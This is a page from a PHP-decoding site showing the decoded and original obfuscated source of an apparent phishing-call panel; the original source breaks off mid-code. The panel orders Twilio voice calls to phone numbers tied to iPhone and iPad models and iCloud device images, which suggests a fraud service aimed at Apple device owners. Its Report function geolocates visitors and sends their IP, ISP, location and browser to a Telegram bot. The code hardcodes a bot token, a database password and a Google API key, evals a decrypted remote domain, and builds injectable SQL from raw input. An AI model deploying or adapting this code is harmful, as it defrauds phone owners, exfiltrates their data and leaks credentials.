Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto Fxn0Z; EgKf_: function GetLoc($IP) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL..

Decoded Output download

<?   goto Fxn0Z; EgKf_: function GetLoc($IP) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://ip-api.com/json/" . $IP); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $ip_data_in = curl_exec($ch); curl_close($ch); return $ip_data_in; } goto U01_L; AINam: function Decrypt($string) { $code = base64_decode($string); $code = str_replace("1Kstc", "u", $code); $code = str_replace("23Zc", "o", $code); $code = str_replace("Bka65", "i", $code); $code = str_replace("jbB32", "e", $code); $code = str_replace("Khbfs", "a", $code); $code = str_replace("Tlr15", "=", $code); return base64_decode($code); } goto WDvBl; a3TKI: $requestBody = file_get_contents("php://input"); goto e6WEq; M4a2j: function Report($message) { $ip = $_SERVER["REMOTE_ADDR"]; $arr = GetLoc($ip); $details = json_decode($arr); $send = "\360\x9f\232\x80 \xf0\x9d\x99\236\360\235\x99\240\xf0\x9d\231\235\360\235\x99\x9a\360\235\x99\xa3 \xf0\237\x9a\x80
"; $send .= "\357\xb8\217=========================<br>"; $send .= $message . "
"; $send .= "\360\x9f\x93\xa1 IP: {$ip}<br><br>"; $send .= "\xf0\237\223\266 ISP: {$details->isp}<br><br>"; $send .= "\360\x9f\x8c\x8f Address: {$details->city} {$details->country}<br><br>"; $send .= "\360\237\226\245 Browser: {$_SERVER["HTTP_USER_AGENT"]}<br><br>"; $send .= "\xf0\x9f\225\224 Date: " . CurrentDate(); $message1 = str_replace("<br>", "\xa", $send); $send = urlencode($message1); $chat_id = file_get_contents("ikhen/iverifyid.txt"); $api = "5284911251:AAFwktQkiEl8BUrceB_Z8CDRHJXaYINuw0g"; $me = str_split($send, 4096); foreach ($me as $each) { makeApiRequest("https://api.telegram.org/bot{$api}/sendMessage?chat_id={$chat_id}&text={$each}&parse_mode=html"); } } goto EgKf_; tl1Fz: if (isset($_POST) && is_array($ARRAY)) { $_POST = array_merge($_POST, $ARRAY); } goto uLq_L; Fxn0Z: session_start(); goto a3TKI; BNItA: function makeApiRequest($url, $data = null, $headers = null) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); if ($data != null) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); } if ($headers != null) { if (is_string($headers)) { $headers = json_decode($headers, true); } curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); return array("Status" => $http_code, "Response" => $response); } goto bJlHv; B0ouV: if ($link === false) { die("ERROR: Could not connect. " . mysqli_connect_error()); } goto iq6kd; U01_L: function CurrentDate() { date_default_timezone_set("Asia/Manila"); return date("F d Y g:i:s A"); } goto xzws7; CFlGV: function generateImg($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if ($response !== false) { $contentType = curl_getinfo($ch, CURLINFO_CONTENT_TYPE); curl_close($ch); $imageType = ''; if (strpos($contentType, "image/jpeg") !== false) { $imageType = "jpeg"; } elseif (strpos($contentType, "image/png") !== false) { $imageType = "png"; } elseif (strpos($contentType, "image/gif") !== false) { $imageType = "gif"; } if ($imageType !== '') { $base64Image = base64_encode($response); $imgTag = "<img id='' class='' style='' src='data:image/{$imageType};base64,{$base64Image}' alt='Invalid Color'>"; return $imgTag; } else { return "No color found."; } } else { curl_close($ch); return "Error fetching the image."; } } goto TC0bl; xkIsG: define("DB_NAME", "khenserver_wagmodelete"); goto In0Ps; kb9FI: if ($debugging) { ini_set("log_errors", TRUE); ini_set("error_log", "your/path/to/errors.log"); ini_set("display_errors", TRUE); error_reporting(E_ALL); ini_set("ignore_repeated_errors", TRUE); } goto B0ouV; xzws7: function CurrentTime() { date_default_timezone_set("Asia/Manila"); return date("g:i:s A"); } goto BNItA; GyBK6: $connect = $link; goto vwRNq; qxfx8: define("DB_PASSWORD", "Hamza1124!"); goto xkIsG; iq6kd: if (!isset($_POST["updatedata"])) { ExpiredSession(900); } goto E4NYM; bJlHv: function GetNumber($dbname, $dbrow, $name, $search = false) { $connect = $GLOBALS["link"]; $fetch = ''; if (!$search) { $query = mysqli_query($connect, "SELECT * FROM `{$dbname}` WHERE `{$dbrow}` = '{$name}'"); $fetch = mysqli_num_rows($query); } else { $query = mysqli_query($connect, "SELECT * FROM `{$dbname}`"); $fetch = mysqli_num_rows($query); } return $fetch; } goto eSwyg; eSwyg: function GetValue($dbname, $dbrow, $name, $search = false) { $connect = $GLOBALS["link"]; $fetch = ''; if (!$search) { $query = mysqli_query($connect, "SELECT * FROM `{$dbname}` WHERE `{$dbrow}` = '{$name}'"); if (mysqli_num_rows($query) == 0) { return false; } $fetch = mysqli_fetch_array($query); } else { $query = mysqli_query($connect, "SELECT * FROM `{$dbname}`"); $fetch = mysqli_fetch_array($query); } return $fetch; } goto q_UFE; pil76: if (isset($_GET["status"])) { $stat = $_GET["status"]; if ($stat == "on") { mysqli_query($link, "UPDATE `server-status` SET `status`='ON' WHERE `id` = '1'"); echo "Maintenance ON"; die; } else { if ($stat == "off") { mysqli_query($link, "UPDATE `server-status` SET `status`='OFF' WHERE `id` = '1'"); echo "Maintenance OFF"; die; } } } goto zPnXO; TC0bl: function WEBREQUEST($url, $POST = '') { $c = curl_init(); curl_setopt($c, CURLOPT_URL, $url); if ($POST != '') { curl_setopt($c, CURLOPT_POST, 1); curl_setopt($c, CURLOPT_POSTFIELDS, $POST); } curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); $results = curl_exec($c); $httpcode = curl_getinfo($c, CURLINFO_HTTP_CODE); curl_close($c); if ($httpcode == "200") { return $results; } else { return "Error: {$httpcode}"; } } goto F40Vt; lvTfg: error_reporting(0); goto IuSEz; F40Vt: function shorten($len) { $str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"; $shuffled = str_shuffle($str); $max = 62 - $len; $shuf = substr($shuffled, $max); $query = mysqli_query($GLOBALS["connect"], "SELECT * FROM `orders` WHERE `short` LIKE '%{$shuf}%'"); while ($fetch = mysqli_fetch_array($query)) { $short = str_replace("https://", '', $fetch["short"]); $exist = explode("/", $short); $shuf = substr($shuffled, $max); if ($shuf != $exist[1]) { break; } } return $shuf; } goto lnhNk; TXkzZ: function Encrypt($string) { $code = base64_encode($string); $code = str_replace("=", "Tlr15", $code); $code = str_replace("a", "Khbfs", $code); $code = str_replace("e", "jbB32", $code); $code = str_replace("i", "Bka65", $code); $code = str_replace("o", "23Zc", $code); $code = str_replace("u", "1Kstc", $code); return base64_encode($code); } goto AINam; n8vHs: define("DB_USERNAME", "khenserver_wagmodelete"); goto qxfx8; gtJyk: $info = mysqli_fetch_array($q); goto LUQ4J; zA3YE: $InfoAlert = array(); goto kb9FI; UCWZ1: $GoodAlert = array(); goto zA3YE; lnhNk: function voicerequest($POST) { $url = ''; include "api.php"; eval("$url = Decrypt("" . $apidomain . "");"); $ch = curl_init($url); curl_setopt($ch, CURLOPT_POSTFIELDS, $POST); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60); curl_setopt($ch, CURLOPT_TIMEOUT, 60); $myResult = curl_exec($ch); $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($httpcode != 200) { return "balik: " . $httpcode; } return $myResult; } goto TXkzZ; wALuj: $link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME); goto GyBK6; In0Ps: $googleAPI = "AIzaSyD94HMXRPmq1TE8LNo6eYUMRTEDdEtHKCQ"; goto wALuj; LUQ4J: $maintenance = $info["status"]; goto arhmj; e6WEq: $ARRAY = json_decode($requestBody, true); goto tl1Fz; q_UFE: function GetCountCompare($dbname, $dbrow, $name, $dbrow1, $search) { $connect = $GLOBALS["link"]; $fetch = ''; $query = mysqli_query($connect, "SELECT * FROM `{$dbname}` WHERE `{$dbrow}` = '{$name}' AND `{$dbrow1}` = '{$search}'"); $num = mysqli_num_rows($query); if ($num <= 0) { return false; } return $num; } goto CFlGV; AI1oc: function ExpiredSession($time) { $link = $GLOBALS["link"]; if (session_status() === PHP_SESSION_NONE) { session_start(); } if (!isset($_SESSION["username"])) { $add = ''; $page = array("{$add}/", "{$add}/index.php", "{$add}/signup.php", "{$add}/forgot.php", "{$add}/mainte.php", "{$add}/changepass.php"); if (!in_array($_SERVER["REQUEST_URI"], $page)) { session_destroy(); header("Location: ../logout.php"); return; } return; } else { if (isset($_SESSION["username"])) { $query = mysqli_query($link, "SELECT * FROM `users`WHERE `username` = '{$_SESSION["username"]}' "); $fetch = mysqli_fetch_array($query); if ($fetch) { $_SESSION["plan"] = $fetch["roles"]; $_SESSION["domainrole"] = $fetch["domain"]; $_SESSION["balance"] = $fetch["balance"]; } else { session_destroy(); header("Location: ../logout.php"); return; } } else { if (time() - $_SESSION["timer"] > $time) { session_destroy(); header("Location: ../logout.php"); return; } else { $_SESSION["timer"] = time(); } } } } goto M4a2j; E4NYM: $q = mysqli_query($link, "SELECT * FROM `server-status` WHERE `id` = '1'"); goto gtJyk; arhmj: if ($maintenance == "ON") { if (isset($_SESSION["admin"])) { if ($_SESSION["admin"] != "admin") { header("location: https://{$_SERVER["SERVER_NAME"]}/mainte.php"); die; } } } else { if ($info["status"] == "OFF" && isset($_SESSION["loggedin"])) { } } goto pil76; zPnXO: if (isset($_SESSION["username"])) { if (isset($_POST["Data"])) { switch ($_POST["Data"]) { case "ChangeColor": $model = $_POST["Model"]; $brand = "Watch"; if (strpos($model, "iPhone") !== false) { $brand = "iPhone"; } elseif (strpos($model, "iPad") !== false) { $brand = "iPad"; } else { $brand = "Watch"; } $screen = $_POST["Screen"]; $back = $_POST["Back"]; $url = "https://statici.icloud.com/fmipmobile/deviceImages-9.0/{$brand}/{$model}-{$screen}-{$back}-0/online-infobox__3x.png"; if ($screen == "default") { $url = "https://statici.icloud.com/fmipmobile/deviceImages-9.0/{$brand}/{$model}/online-infobox__3x.png"; } $img = generateImg($url); die(json_encode(array("Image" => $img))); break; case "GetAddress": $Address = $_POST["Address"]; $response = WEBREQUEST("https://maps.googleapis.com/maps/api/geocode/json?address=" . rawurlencode($Address) . "&key={$GLOBALS["googleAPI"]}"); $json = json_decode($response); $results = $json->results; $lat = ''; $lng = ''; $status = $json->status; if (count($results) > 0) { $lat = $json->results[0]->geometry->location->lat; $lng = $json->results[0]->geometry->location->lng; } $msg = $status != "OK" ? "alert('Address incorrect! Please try again.')" : "alert('Address verified!')"; die(json_encode(array("Response" => $msg, "Location" => "{$lat}|{$lng}"))); break; default: break; } } else { if (isset($_POST["ORDERVOICE"])) { $ORDERVOICE = $_POST["ORDERVOICE"]; $NUMBER = $_POST["NUMBER"]; $MODEL = $_POST["MODEL"]; $VOICE = $_POST["VOICE"]; $NOTE = $_POST["NOTE"]; $SERVICE = $_POST["SERVICE"]; $SERVER = $_POST["SERVER"]; $username = $_SESSION["username"]; $DATE = CurrentDate(); $query2 = mysqli_query($connect, "SELECT * FROM `twilio` WHERE `name` = '{$SERVER}'"); $fetch2 = mysqli_fetch_array($query2); $POST["token"] = Encrypt($fetch2["token"]); $POST["sid"] = Encrypt($fetch2["sid"]); $POST["ownernum"] = Encrypt($fetch2["number"]); $POST["run"] = Encrypt("ordervoice"); $POST["REPORT"] = $_SERVER["HTTP_HOST"]; $POST["NUMBER"] = $NUMBER; $POST["MODEL"] = $MODEL; $POST["VOICE"] = $VOICE; $POST["SERVICE"] = $SERVICE; $POST["DATE"] = $DATE; $query = mysqli_query($connect, "SELECT * FROM `users` WHERE `username` = '{$_SESSION["username"]}'"); $fetch = mysqli_fetch_array($query); $query1 = mysqli_query($connect, "SELECT * FROM `service` WHERE `name` = 'voice'"); $fetch1 = mysqli_fetch_array($query1); $amount = $fetch1["amount"]; $credit = $fetch["balance"]; if ($amount > $credit) { die("Toastr('Credits not enough!\xa
Amount: {$amount}\xa\xaCredits Left: {$credit}','','warning');"); } else { if ($credit >= $amount) { $device = mysqli_fetch_array(mysqli_query($connect, "SELECT * FROM `devicess` WHERE `name` = '{$MODEL}'")); $DEVICE = $device["models"]; mysqli_query($link, "INSERT INTO `voice-history` (`server`, `username`, `service`, `model`, `voice`, `number`, `note`, `date`) VALUES('{$SERVER}','{$username}','{$SERVICE}','{$DEVICE}','{$VOICE}','{$NUMBER}','{$NOTE}','{$DATE}')"); $check = voicerequest($POST); try { if (str_contains($check, "balik")) { $re = str_replace("balik: ", '', $check); $reply = "Unauthorized account! error {$re}"; die("Toastr('{$reply}','','warning');"); } $a = json_decode($check, true); $result = $a["Result"]; if ($result == "Error") { die("Toastr('Phone carrier cannot verify. Make sure you enter correct number.<br>#{$a["Reason"]}','','error')"); } if ($result == "ApiError") { $reason = $a["Reason"]; if (strpos($reason, "[HTTP 401]") !== false) { $message = "\xe2\x9a\240 WRONG API ACCOUNT! \342\232\240\xa\xa"; $message .= "\xf0\x9f\221\256\xf0\x9f\217\xbe Position: {$fetch["position"]}\xa
"; $message .= "\xf0\237\x91\250\xe2\x80\215\xf0\237\222\xbb Username: {$username}
\xa"; $message .= "\360\237\x94\x97 Domain: {$domain}

"; $message .= "\360\x9f\223\241 IP: {$ip}\xa\xa"; $message .= "\360\x9f\x96\xa5 Browser: {$user_agent}\xa
"; $message .= "SID: {$fetch2["sid"]}\xa
"; $message .= "API Response: {$reason}\xa\xa"; $message .= "\xf0\x9f\222\xa5 Admin: @khenserver \360\x9f\x92\xa5"; BotMessage($message); $reply = "Invalid API Account! Please contact administrator."; die("Toastr('Invalid API Account! Please contact administrator.','','info')"); } else { if (strpos($reason, "[HTTP 404]") !== false) { die("Toastr('Phone carrier cannot verify. Make sure you enter correct number.<br>INCORRECT NUMBER.','','error')"); } else { $return = str_replace("Twilio", "{$TELE_USERNAME}", $reason); $return = str_replace("'", """, $return); die("Toastr('API Account has problem! Please contact administrator.<br> Error: {$return}','','warning')"); } } return; } else { if ($result == "Success") { $query = mysqli_query($connect, "SELECT * FROM `users` WHERE `username` = '{$_SESSION["username"]}'"); $fetch = mysqli_fetch_array($query); $query1 = mysqli_query($connect, "SELECT * FROM `service` WHERE `name` = 'voice'"); $fetch1 = mysqli_fetch_array($query1); $amount = $fetch1["amount"]; $credit = $fetch["balance"]; if ($credit >= $amount) { $sid = $a["Sid"]; $newbal = $credit - $amount; mysqli_query($connect, "UPDATE `users` SET `balance` = '{$newbal}' WHERE `username` = '{$_SESSION["username"]}'"); $query = mysqli_query($connect, "UPDATE `voice-history` SET `csid`='{$sid}' WHERE `date` = '{$DATE}'"); die("Toastr('Call {$a["Carrier"]} Order success! Your order status can be check in Order History','','success')"); } } } } catch (Exception $e) { $message = "\342\x9a\240 API ERROR SERVER! \xe2\232\xa0\xa\xa"; $message .= "API Response: {$check}
\xa"; $message .= "\360\237\x92\xa5 Admin: @khenserver \xf0\x9f\222\xa5"; BotMessage($message); $reply = "Invalid API Response! Please contact administrator."; die("Toastr('Invalid API Response! Please contact administrator.','','error')"); } return; } } die("Success"); } else { if (isset($_POST["REDIAL"])) { $json = explode(":", $_POST["REDIAL"]); $NUMBER = $json[0]; $DATE = str_replace("DATE=", '', urldecode($json[1])); $username = $_SESSION["username"]; $query = mysqli_query($connect, "SELECT * FROM `users` WHERE `username` = '{$username}'"); $fetch = mysqli_fetch_array($query); $query1 = mysqli_query($connect, "SELECT * FROM `service` WHERE `name` = 'voice'"); $fetch1 = mysqli_fetch_array($query1); $credit = $fetch["balance"]; $amount = $fetch1["amount"]; if ($amount > $credit) { die("Toastr('Credits not enough!

Amount: {$amount}
\xaCredits Left: {$credit}','','warning');"); } else { if ($credit >= $amount) { $infos = mysqli_fetch_array(mysqli_query($connect, "SELECT * FROM `voice-history` WHERE `date` = '{$DATE}'")); $device = mysqli_fetch_array(mysqli_query($connect, "SELECT * FROM `devicess` WHERE `models` = '{$infos["model"]}'")); $MODEL = $device["name"]; $VOICE = $infos["voice"]; $SERVICE = $infos["service"]; $SERVER = $infos["server"]; $query2 = mysqli_query($connect, "SELECT * FROM `twilio` WHERE `name` = '{$SERVER}'"); $fetch2 = mysqli_fetch_array($query2); $POST["token"] = Encrypt($fetch2["token"]); $POST["sid"] = Encrypt($fetch2["sid"]); $POST["ownernum"] = Encrypt($fetch2["number"]); $POST["run"] = Encrypt("ordervoice"); $POST["NUMBER"] = $NUMBER; $POST["MODEL"] = $MODEL; $POST["VOICE"] = $VOICE; $POST["SERVICE"] = $SERVICE; $POST["DATE"] = $DATE; $POST["REPORT"] = $_SERVER["HTTP_HOST"]; $query = mysqli_query($connect, "SELECT * FROM `users` WHERE `username` = '{$_SESSION["username"]}'"); $fetch = mysqli_fetch_array($query); $query1 = mysqli_query($connect, "SELECT * FROM `service` WHERE `name` = 'voice'"); $fetch1 = mysqli_fetch_array($query1); $amount = $fetch1["amount"]; $credit = $fetch["balance"]; try { $check = voicerequest($POST); if (str_contains($check, "balik")) { $re = str_replace("balik: ", '', $check); $reply = "Unauthorized account! error {$re}"; return $reply; } $a = json_decode($check, true); $result = $a["Result"]; if ($result == "Error") { die("Toastr('Phone carrier cannot verify. Make sure you enter correct number.<br>#{$a["Reason"]}','','error');"); } if ($result == "ApiError") { $reason = $a["Reason"]; if (strpos($reason, "[HTTP 401]") !== false) { $message = "\xe2\232\xa0 WRONG API ACCOUNT! \xe2\232\xa0\xa\xa"; $message .= "\xf0\x9f\x91\256\xf0\x9f\217\xbe Position: {$fetch["position"]}\xa
"; $message .= "\xf0\237\x91\250\xe2\200\x8d\xf0\237\x92\273 Username: {$username}\xa\xa"; $message .= "\360\x9f\224\227 Domain: {$domain}\xa\xa"; $message .= "\xf0\x9f\223\241 IP: {$ip}\xa
"; $message .= "\360\237\226\xa5 Browser: {$user_agent}
\xa"; $message .= "SID: {$fetch2["sid"]}\xa
"; $message .= "API Response: {$reason}

"; $message .= "\360\237\x92\xa5 Admin: @khenserver \xf0\x9f\222\xa5"; BotMessage($message); $reply .= "Invalid API Account! Please contact administrator."; die("Toastr('Invalid API Account! Please contact administrator.','','error');"); } else { if (strpos($reason, "[HTTP 404]") !== false) { $reply .= "Phone carrier cannot verify. Make sure you enter correct number.<br>INCORRECT NUMBER."; die("Toastr('Phone carrier cannot verify. Make sure you enter correct number.<br>INCORRECT NUMBER.','','error');"); } else { $return = str_replace("Twilio", "{$TELE_USERNAME}", $reason); $return .= str_replace("'", """, $return); $reply .= "API Account has problem! Please contact administrator.<br> Error: {$return}"; die("Toastr('API Account has problem! Please contact administrator.<br> Error: {$return}','','error');"); } } } else { if ($result == "Success") { $query = mysqli_query($connect, "SELECT * FROM `users` WHERE `username` = '{$_SESSION["username"]}'"); $fetch = mysqli_fetch_array($query); $query1 = mysqli_query($connect, "SELECT * FROM `service` WHERE `name` = 'voice'"); $fetch1 = mysqli_fetch_array($query1); $amount = $fetch1["amount"]; $credit = $fetch["balance"]; if ($credit >= $amount) { $sid = $a["Sid"]; $newbal = $credit - $amount; mysqli_query($connect, "UPDATE `users` SET `balance` = '{$newbal}' WHERE `username` = '{$_SESSION["username"]}'"); $query = mysqli_query($connect, "UPDATE `voice-history` SET `csid`='{$sid}' WHERE `date` = '{$DATE}'"); $reply = "Redial {$a["Carrier"]} Order success! Your order status can be check in Order History"; die("Toastr('Redial {$a["Carrier"]} Order success! Your order status can be check in Order History','','success');"); return $reply; } } } } catch (Exception $e) { $message = "\342\232\240 API ERROR SERVER! \342\x9a\240
\xa"; $message .= "API Response: {$check}\xa\xa"; $message .= "\xf0\237\222\245 Admin: @khenserver \360\x9f\222\xa5"; BotMessage($message); $reply = "Invalid API Response! Please contact administrator."; die("Toastr('{$reply}','','error');"); } return; } } return; } } } } goto AI1oc; IuSEz: $ErrorAlert = array(); goto UCWZ1; vwRNq: $debugging = false; goto lvTfg; WDvBl: function BotMessage($message) { if (!LOCAL) { $currentdate = CurrentDate(); file_put_contents("Error({$currentdate})", $message); } } goto K3PpL; uLq_L: define("DB_SERVER", "localhost"); goto n8vHs; K3PpL:  ?>

Did this file decode correctly?

Original Code

 goto Fxn0Z; EgKf_: function GetLoc($IP) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "\150\x74\x74\x70\72\x2f\x2f\151\x70\55\141\x70\x69\x2e\x63\x6f\155\x2f\152\x73\157\x6e\57" . $IP); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $ip_data_in = curl_exec($ch); curl_close($ch); return $ip_data_in; } goto U01_L; AINam: function Decrypt($string) { $code = base64_decode($string); $code = str_replace("\x31\113\x73\164\143", "\165", $code); $code = str_replace("\x32\63\132\x63", "\157", $code); $code = str_replace("\102\153\x61\66\65", "\151", $code); $code = str_replace("\152\142\x42\x33\x32", "\145", $code); $code = str_replace("\113\x68\x62\146\163", "\141", $code); $code = str_replace("\x54\x6c\x72\61\x35", "\75", $code); return base64_decode($code); } goto WDvBl; a3TKI: $requestBody = file_get_contents("\160\150\x70\x3a\57\x2f\151\x6e\x70\165\164"); goto e6WEq; M4a2j: function Report($message) { $ip = $_SERVER["\122\105\115\117\124\x45\x5f\x41\104\x44\x52"]; $arr = GetLoc($ip); $details = json_decode($arr); $send = "\360\x9f\232\x80\40\xf0\x9d\x99\236\360\235\x99\240\xf0\x9d\231\235\360\235\x99\x9a\360\235\x99\xa3\x20\xf0\237\x9a\x80\12"; $send .= "\357\xb8\217\x3d\75\x3d\75\75\75\x3d\75\x3d\75\75\x3d\x3d\x3d\x3d\75\x3d\x3d\75\x3d\75\x3d\x3d\75\75\x3c\142\162\x3e"; $send .= $message . "\12"; $send .= "\360\x9f\x93\xa1\40\111\x50\x3a\x20{$ip}\74\x62\162\x3e\x3c\x62\162\x3e"; $send .= "\xf0\237\223\266\x20\x49\x53\120\72\x20{$details->isp}\x3c\x62\162\x3e\74\142\162\76"; $send .= "\360\x9f\x8c\x8f\x20\101\x64\x64\162\145\163\163\72\x20{$details->city}\x20{$details->country}\74\142\x72\x3e\x3c\142\x72\x3e"; $send .= "\360\237\226\245\x20\x42\x72\157\167\x73\145\162\72\40{$_SERVER["\x48\124\x54\x50\137\125\123\105\x52\x5f\x41\107\105\116\124"]}\x3c\142\162\x3e\x3c\142\x72\76"; $send .= "\xf0\x9f\225\224\40\104\141\x74\145\72\x20" . CurrentDate(); $message1 = str_replace("\74\x62\x72\76", "\xa", $send); $send = urlencode($message1); $chat_id = file_get_contents("\x69\153\150\x65\x6e\57\151\166\145\x72\151\146\x79\x69\144\x2e\164\x78\x74"); $api = "\x35\x32\x38\x34\71\61\61\62\x35\x31\72\101\101\106\x77\153\164\x51\x6b\151\105\154\x38\x42\125\162\x63\145\x42\x5f\132\70\x43\104\122\x48\112\x58\x61\131\111\x4e\x75\167\60\x67"; $me = str_split($send, 4096); foreach ($me as $each) { makeApiRequest("\x68\164\164\160\x73\x3a\57\x2f\141\160\151\56\x74\145\154\x65\x67\162\141\x6d\x2e\x6f\162\147\57\x62\x6f\164{$api}\x2f\x73\x65\x6e\144\x4d\x65\x73\x73\x61\147\x65\77\x63\150\x61\164\137\x69\x64\75{$chat_id}\x26\164\x65\170\x74\75{$each}\x26\160\141\162\x73\x65\137\155\157\144\x65\x3d\x68\164\155\154"); } } goto EgKf_; tl1Fz: if (isset($_POST) && is_array($ARRAY)) { $_POST = array_merge($_POST, $ARRAY); } goto uLq_L; Fxn0Z: session_start(); goto a3TKI; BNItA: function makeApiRequest($url, $data = null, $headers = null) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); if ($data != null) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); } if ($headers != null) { if (is_string($headers)) { $headers = json_decode($headers, true); } curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); return array("\x53\164\x61\x74\165\x73" => $http_code, "\122\145\x73\160\157\156\163\145" => $response); } goto bJlHv; B0ouV: if ($link === false) { die("\105\x52\122\117\122\x3a\x20\x43\157\x75\x6c\x64\40\x6e\157\164\40\143\x6f\x6e\156\145\143\164\56\x20" . mysqli_connect_error()); } goto iq6kd; U01_L: function CurrentDate() { date_default_timezone_set("\x41\x73\x69\141\x2f\115\141\x6e\x69\154\x61"); return date("\106\x20\144\x20\131\40\147\x3a\x69\x3a\163\x20\x41"); } goto xzws7; CFlGV: function generateImg($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if ($response !== false) { $contentType = curl_getinfo($ch, CURLINFO_CONTENT_TYPE); curl_close($ch); $imageType = ''; if (strpos($contentType, "\x69\155\141\x67\x65\x2f\x6a\x70\x65\x67") !== false) { $imageType = "\x6a\160\x65\147"; } elseif (strpos($contentType, "\x69\x6d\x61\x67\x65\x2f\160\x6e\147") !== false) { $imageType = "\160\x6e\147"; } elseif (strpos($contentType, "\151\155\x61\147\145\x2f\x67\x69\146") !== false) { $imageType = "\147\151\146"; } if ($imageType !== '') { $base64Image = base64_encode($response); $imgTag = "\x3c\151\155\147\x20\151\144\75\47\x27\x20\x63\x6c\x61\x73\163\75\x27\x27\x20\x73\x74\x79\154\145\75\47\x27\x20\x73\162\143\x3d\x27\x64\141\164\141\x3a\x69\x6d\x61\x67\x65\57{$imageType}\x3b\x62\141\x73\x65\66\64\x2c{$base64Image}\x27\40\141\154\164\75\47\111\156\x76\141\x6c\151\144\x20\x43\157\154\x6f\162\47\x3e"; return $imgTag; } else { return "\116\157\x20\143\157\154\157\162\x20\146\157\165\x6e\x64\x2e"; } } else { curl_close($ch); return "\105\x72\162\x6f\x72\40\146\145\164\143\150\151\x6e\x67\x20\x74\x68\145\x20\x69\x6d\141\x67\145\56"; } } goto TC0bl; xkIsG: define("\104\102\x5f\116\101\x4d\x45", "\153\x68\145\x6e\x73\x65\x72\x76\145\162\x5f\167\141\x67\x6d\157\x64\x65\x6c\145\x74\145"); goto In0Ps; kb9FI: if ($debugging) { ini_set("\x6c\x6f\147\x5f\145\162\x72\157\162\163", TRUE); ini_set("\145\162\162\x6f\162\x5f\154\x6f\147", "\x79\157\x75\x72\x2f\160\141\164\x68\x2f\164\x6f\x2f\145\x72\162\157\162\x73\x2e\154\x6f\x67"); ini_set("\x64\x69\163\x70\154\x61\x79\x5f\145\x72\x72\x6f\162\x73", TRUE); error_reporting(E_ALL); ini_set("\151\x67\156\157\x72\x65\x5f\x72\x65\160\145\x61\164\x65\144\137\x65\x72\162\157\x72\x73", TRUE); } goto B0ouV; xzws7: function CurrentTime() { date_default_timezone_set("\x41\163\x69\141\x2f\115\141\156\x69\154\141"); return date("\x67\72\x69\72\x73\40\x41"); } goto BNItA; GyBK6: $connect = $link; goto vwRNq; qxfx8: define("\x44\102\x5f\x50\101\x53\x53\127\117\122\x44", "\110\141\x6d\x7a\141\x31\x31\x32\x34\41"); goto xkIsG; iq6kd: if (!isset($_POST["\x75\x70\x64\141\x74\145\x64\x61\x74\x61"])) { ExpiredSession(900); } goto E4NYM; bJlHv: function GetNumber($dbname, $dbrow, $name, $search = false) { $connect = $GLOBALS["\x6c\151\x6e\x6b"]; $fetch = ''; if (!$search) { $query = mysqli_query($connect, "\x53\105\x4c\x45\x43\124\40\52\x20\x46\x52\x4f\x4d\x20\140{$dbname}\x60\40\127\110\x45\x52\105\40\x60{$dbrow}\x60\40\x3d\x20\x27{$name}\47"); $fetch = mysqli_num_rows($query); } else { $query = mysqli_query($connect, "\123\x45\x4c\x45\x43\x54\x20\x2a\x20\106\x52\x4f\115\x20\140{$dbname}\x60"); $fetch = mysqli_num_rows($query); } return $fetch; } goto eSwyg; eSwyg: function GetValue($dbname, $dbrow, $name, $search = false) { $connect = $GLOBALS["\154\x69\x6e\153"]; $fetch = ''; if (!$search) { $query = mysqli_query($connect, "\x53\105\114\105\x43\124\40\52\x20\106\x52\x4f\115\x20\x60{$dbname}\x60\40\127\x48\105\122\105\40\x60{$dbrow}\x60\40\75\40\47{$name}\x27"); if (mysqli_num_rows($query) == 0) { return false; } $fetch = mysqli_fetch_array($query); } else { $query = mysqli_query($connect, "\123\x45\114\x45\103\x54\x20\x2a\x20\106\x52\x4f\115\40\140{$dbname}\140"); $fetch = mysqli_fetch_array($query); } return $fetch; } goto q_UFE; pil76: if (isset($_GET["\x73\x74\141\164\x75\163"])) { $stat = $_GET["\163\x74\x61\164\165\163"]; if ($stat == "\x6f\156") { mysqli_query($link, "\x55\x50\104\101\x54\x45\x20\x60\x73\145\x72\x76\x65\x72\x2d\x73\x74\x61\x74\165\163\x60\x20\x53\105\x54\x20\140\x73\164\x61\164\x75\163\140\x3d\47\117\x4e\47\x20\127\110\x45\x52\105\40\x60\151\x64\x60\40\75\x20\x27\x31\47"); echo "\x4d\141\x69\x6e\x74\x65\156\141\156\x63\x65\40\x4f\116"; die; } else { if ($stat == "\157\x66\x66") { mysqli_query($link, "\x55\x50\x44\x41\x54\x45\x20\140\x73\x65\x72\x76\x65\162\55\163\x74\x61\x74\x75\x73\x60\x20\x53\x45\x54\40\140\163\x74\x61\164\x75\x73\140\75\x27\x4f\x46\106\47\40\x57\x48\x45\x52\x45\40\x60\x69\144\140\x20\75\x20\47\61\47"); echo 